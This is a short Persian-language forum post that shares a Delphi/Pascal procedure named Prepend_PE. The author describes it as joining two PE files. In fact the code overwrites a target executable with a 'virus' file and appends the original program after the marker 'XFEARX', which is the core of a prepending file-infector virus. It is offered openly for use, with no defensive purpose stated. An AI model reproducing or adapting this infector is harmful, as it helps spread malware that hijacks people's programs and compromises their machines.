سلام
یه تابع برات گذاشتم ماله قدیماست.
این کد فقط چسبوندنه دو تا peاست نه چیزه دیگه.فقط اسمهای متغیر ها بدن.
فایله ویروس (pe1)می خواد خودش رو به DestinationFileبچسبونه.
فاصله بین دو فایل با یه Signature که L هست مشخص میشه.
L : STRING= 'XFEARX';
Procedure Prepend_PE(Virus,DestinationFile:STRING);
LABEL
Abort_Pe;
Var
T : STRING;
myFile : File;
byteArray : array[1..8] of byte;
oneByte : byte;
count : Integer;
I : WORD;
F : FILE;
G : FILE;
Buffer1 : ARRAY [0..2048] OF Byte;
Buffer2 : ARRAY [0..2048] OF Byte;
Buf : ARRAY [1..2048] OF Byte;
begin
//DestinationFile:='FileTest\DestinationFile.exe';
//Virus:='FileTest\Virus.exe';
T:=LowerCase(L);
CopyFile(pChar(DestinationFile),pChar(DestinationF ile+'.tmp'),False);
CopyFile(pChar(Virus),pChar(DestinationFile),False );
FileMode:=2; //Read And Write
AssignFile(F,DestinationFile);
AssignFile(G,DestinationFile+'.tmp');
Reset(F,1); //open And Definr Block=1 byte// Now we define one record as 1 byte
IF IOResult<>0 THEN
Begin
// ShowMessage('CantOpen DestinationFile File');
Abort;//Cant pen The File
End;
Reset(G,1);
IF IOResult<>0 THEN
Begin
ShowMessage('CantOpen DestinationFile.TMP File');
Abort;
End;
Seek(F,FileSize(F)); //Goto End Of File
BlockWrite(F,T[1],6);//write 6 byte to F //Write Signature End Of File
REPEAT
BlockRead(G,Buf[1],2048,Count);//Read TempFile From Khune 1 ta count //
BlockWrite(F,Buf[1],Count);//write Into Destination File From 1 To Count //
UNTIL Count=0;
CloseFile(G);
Reset(f, 1);
while not Eof(f) do
begin
BlockRead(f, oneByte, 1); // Read one byte at a time
end;
CloseFile(f);
ShowMessage('Prepend Finished');
end;
//---------
موفق باشید.